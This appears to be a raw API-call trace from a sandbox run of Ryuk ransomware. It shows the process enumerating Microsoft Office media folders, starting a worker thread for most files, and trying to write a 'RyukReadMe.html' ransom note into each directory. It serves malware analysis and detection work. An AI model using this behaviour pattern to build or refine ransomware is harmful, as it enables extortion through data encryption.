	[0278.953] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5ca1000, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc5ca1000, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x1f64, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0335112.WMF", cAlternateFileName="")) returned 1
	[0278.954] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e88
	[0278.955] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.956] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 1
	[0278.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0278.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8c
	[0278.957] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0278.958] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c046200, ftCreationTime.dwHighDateTime=0x1bfaf5c, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c046200, ftLastWriteTime.dwHighDateTime=0x1bfaf5c, nFileSizeHigh=0x0, nFileSizeLow=0xce9a, dwReserved0=0x6e, dwReserved1=0x0, cFileName="J0336075.WMF", cAlternateFileName="")) returned 0
	[0278.958] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0282.352] SetLastError (dwErrCode=0x0) 
	[0282.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.359] GetLastError () returned 0x5
	[0282.359] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0282.359] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.359] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1
	[0282.360] SetLastError (dwErrCode=0x0) 
	[0282.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.360] GetLastError () returned 0x5
	[0282.360] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0282.360] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0282.360] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0282.361] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0282.361] SetLastError (dwErrCode=0x0) 
	[0282.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.361] GetLastError () returned 0x5
	[0282.361] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0282.361] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0282.361] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0282.361] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x80, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 1
	[0282.361] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0282.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e94
	[0282.364] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0282.364] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c438, dwReserved0=0x80, dwReserved1=0x0, cFileName="OFFICE10.MML", cAlternateFileName="")) returned 0
	[0282.364] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0282.364] SetLastError (dwErrCode=0x0) 
	[0282.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\1033\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.365] GetLastError () returned 0x5
	[0282.365] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0282.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.365] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6e, dwReserved1=0x0, cFileName="AUTOSHAP", cAlternateFileName="")) returned 1
	[0282.365] SetLastError (dwErrCode=0x0) 
	[0282.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\media\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0282.365] GetLastError () returned 0x5
	[0282.365] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0282.365] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0282.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0283.582] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbcce4400, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbcce4400, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0283.829] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x80, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1
	[0283.829] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6154e300, ftCreationTime.dwHighDateTime=0x1bdcf23, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6154e300, ftLastWriteTime.dwHighDateTime=0x1bdcf23, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18180_.WMF", cAlternateFileName="")) returned 1
	[0283.829] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e98
	[0283.832] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.832] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1
	[0283.832] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.833] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e9c
	[0283.834] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.834] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1
	[0283.834] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ea0
	[0283.837] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.837] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1
	[0283.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.838] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ea4
	[0283.839] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.839] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1
	[0283.839] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.840] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ea8
	[0283.842] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.842] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1
	[0283.842] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2eac
	[0283.844] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.844] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1
	[0283.844] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2eb0
	[0283.846] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.847] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea699700, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xea699700, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0x994, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18190_.WMF", cAlternateFileName="")) returned 1
	[0283.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.847] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2eb4
	[0283.849] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.850] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x171d3300, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x171d3300, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0xc9e, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18191_.WMF", cAlternateFileName="")) returned 1
	[0283.850] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2eb8
	[0283.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.852] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6432a00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb6432a00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18192_.WMF", cAlternateFileName="")) returned 1
	[0283.852] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ebc
	[0283.854] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.855] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd07d0800, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd07d0800, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x128e, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18193_.WMF", cAlternateFileName="")) returned 1
	[0283.855] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.856] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec0
	[0283.857] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.857] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29e33800, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29e33800, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0xdde, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18194_.WMF", cAlternateFileName="")) returned 1
	[0283.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec4
	[0283.859] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0283.859] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4404e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb8d7a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf4404e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0x5a4, dwReserved0=0x80, dwReserved1=0x0, cFileName="BD18196_.WMF", cAlternateFileName="")) returned 1
	[0283.859] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0283.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec8
	[0283.861] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
